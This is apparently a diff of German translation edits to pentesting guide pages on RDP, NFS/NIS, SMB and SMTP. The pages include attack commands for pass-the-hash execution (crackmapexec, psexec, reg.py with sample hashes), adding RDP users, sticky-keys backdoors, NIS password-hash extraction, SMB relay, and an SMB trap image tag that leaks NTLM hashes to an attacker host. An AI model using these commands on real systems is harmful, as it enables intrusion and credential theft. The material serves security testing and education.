|
||||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.
|
||||
Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.
|
||||
|
||||
Sie können RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Du kannst nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
### RDP Prozessinjektion
|
||||
|
||||
Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **Sie Admin sind**, können Sie Ihr Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln:
|
||||
Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **du Admin bist**, kannst du dein Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln:
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Hinzufügen eines Benutzers zur RDP-Gruppe
|
||||
### Benutzer zur RDP-Gruppe hinzufügen
|
||||
```bash
|
||||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
```
|
||||
@ -94,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
|
||||
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Steuere Maus und Tastatur automatisiert über die Befehlszeile
|
||||
|
||||
@ -30,7 +30,7 @@ Wenn Sie den Dienst NFS finden, können Sie wahrscheinlich Dateien auflisten und
|
||||
|
||||
.png>)
|
||||
|
||||
Lesen Sie [2049 - Pentesting NFS service](nfs-service-pentesting.md), um mehr darüber zu erfahren, wie Sie dieses Protokoll testen können.
|
||||
Lesen Sie[ 2049 - Pentesting NFS service](nfs-service-pentesting.md), um mehr darüber zu erfahren, wie Sie dieses Protokoll testen können.
|
||||
|
||||
## NIS
|
||||
|
||||
@ -38,7 +38,7 @@ Die Erkundung von **NIS**-Schwachstellen umfasst einen zweistufigen Prozess, der
|
||||
|
||||
.png>)
|
||||
|
||||
Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei diese Elemente aus Sicherheitsgründen anonymisiert werden.
|
||||
Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei sichergestellt wird, dass diese Elemente aus Sicherheitsgründen anonymisiert sind.
|
||||
|
||||
Der letzte und entscheidende Schritt umfasst den Befehl `ypcat`, um sensible Daten, insbesondere verschlüsselte Benutzerpasswörter, zu extrahieren. Diese Hashes, die mit Tools wie **John the Ripper** geknackt werden, geben Einblicke in den Systemzugang und die Berechtigungen.
|
||||
```bash
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
|
||||
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** zu "rufen".
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Technisch gesehen wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern.
|
||||
Technisch gesehen wird Port 139 als ‘NBT über IP’ bezeichnet, während Port 445 als ‘SMB über IP’ identifiziert wird. Das Akronym **SMB** steht für ‘**Server Message Blocks**’, das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern.
|
||||
|
||||
Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP entfällt, durch die Nutzung von Port 445. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird.
|
||||
```
|
||||
@ -36,7 +36,7 @@ Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherhe
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel, das durch `target_ip` angegeben ist, durchzuführen.
|
||||
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
|
||||
|
||||
## Was ist NTLM
|
||||
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
|
||||
|
||||
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
|
||||
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
|
||||
|
||||
Häufige Freigabenamen für Windows-Ziele sind
|
||||
|
||||
@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
|
||||
Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
|
||||
|
||||
> [!NOTE]
|
||||
> Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\
|
||||
@ -326,24 +326,24 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
|
||||
Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben:
|
||||
|
||||
| **Einstellung** | **Beschreibung** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
|
||||
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
|
||||
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
|
||||
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
|
||||
| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
|
||||
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
|
||||
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
|
||||
| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? |
|
||||
| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
|
||||
| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
|
||||
| **Einstellung** | **Beschreibung** |
|
||||
| -------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
|
||||
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
|
||||
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
|
||||
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
|
||||
| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
|
||||
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
|
||||
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
|
||||
| `logon script = script.sh`| Welches Skript muss beim Login des Benutzers ausgeführt werden? |
|
||||
| `magic script = script.sh`| Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
|
||||
| `magic output = script.out`| Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
|
||||
|
||||
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
|
||||
|
||||
## Authentifizierung mit Kerberos
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden:
|
||||
```bash
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
|
||||
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente mit dem Payload --**file-less technique-**- versehen).\
|
||||
Beide Optionen werden **einen neuen Dienst erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Opfermaschine und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\
|
||||
**Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB-Relay-Angriff
|
||||
|
||||
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\
|
||||
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\
|
||||
[**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -452,7 +452,7 @@ Die von einigen Browsern und Tools (wie Skype) verwendet werden.
|
||||
|
||||
## NTLM-Diebstahl
|
||||
|
||||
Ähnlich wie beim SMB-Trapping kann das Platzieren bösartiger Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden.
|
||||
Ähnlich wie beim SMB-Trapping kann das Platzieren von bösartigen Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden.
|
||||
|
||||
[Siehe: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
||||
@ -24,7 +24,7 @@ Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, kön
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von:
|
||||
Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von:
|
||||
|
||||
- Informationen über das Betriebssystem
|
||||
- Details zur übergeordneten Domäne
|
||||
@ -32,7 +32,7 @@ Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen,
|
||||
- Informationen über verfügbare SMB-Freigaben
|
||||
- Die effektive System-Sicherheitsrichtlinie
|
||||
|
||||
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
|
||||
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block) Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -40,7 +40,7 @@ Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann
|
||||
|
||||
## Was ist NTLM
|
||||
|
||||
Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzt, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
|
||||
Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzen kann, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie:
|
||||
|
||||
- Das **MSF** Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden
|
||||
- Das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden
|
||||
- Oder dieses Skript:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -79,7 +79,7 @@ echo "" && sleep .1
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Mögliche** Anmeldedaten
|
||||
### **Mögliche** Anmeldeinformationen
|
||||
|
||||
| **Benutzername(n)** | **Häufige Passwörter** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
@ -318,7 +318,7 @@ Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie
|
||||
|
||||
## Registrierung lesen
|
||||
|
||||
Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
|
||||
Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -343,9 +343,9 @@ Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweis
|
||||
|
||||
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
|
||||
|
||||
## Authentifizierung mit Kerberos
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden:
|
||||
Sie können sich mit **Kerberos** über die Tools **smbclient** und **rpcclient** **authentifizieren**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
|
||||
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können die von Ihnen bevorzugte Option mit dem Parameter `--exec-method` angeben:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -388,7 +388,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren.
|
||||
Mit dem **Parameter** `-k` können Sie sich an **Kerberos** anstelle von **NTLM** authentifizieren.
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
@ -433,7 +433,7 @@ Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzu
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dies geschieht mit den Funktionen:
|
||||
|
||||
|
||||
@ -13,9 +13,9 @@ In der Praxis ist es üblich, dass **E-Mail-Programme** **SMTP zum Senden von E-
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
### EMAIL-Header
|
||||
### EMAIL-Headers
|
||||
|
||||
Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die internen Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen.
|
||||
Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die interne Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen.
|
||||
|
||||
Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, **eine E-Mail an eine nicht existierende Adresse an diesen Server zu senden** (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.
|
||||
|
||||
@ -83,7 +83,7 @@ MAIL FROM: me
|
||||
```
|
||||
### Sniffing
|
||||
|
||||
Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 schnüffeln.
|
||||
Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 sniffen.
|
||||
|
||||
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
|
||||
|
||||
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSN-Berichte
|
||||
|
||||
**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software).
|
||||
**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. Die **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software).
|
||||
|
||||
## [Befehle](smtp-commands.md)
|
||||
|
||||
@ -235,9 +235,9 @@ Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter
|
||||
|
||||
> [!CAUTION]
|
||||
> SPF [wurde 2014 "abgelehnt"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass Sie anstelle der Erstellung eines **TXT-Datensatzes** in `_spf.domain.com` diesen in `domain.com` mit der **gleichen Syntax** erstellen.\
|
||||
> Darüber hinaus ist es recht gängig, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
|
||||
> Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
|
||||
|
||||
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz.
|
||||
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die autorisiert sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz.
|
||||
|
||||
#### Mechanismen
|
||||
|
||||
@ -245,13 +245,13 @@ Von [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
|
||||
| Mechanismus | Beschreibung |
|
||||
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
|
||||
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
|
||||
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
|
||||
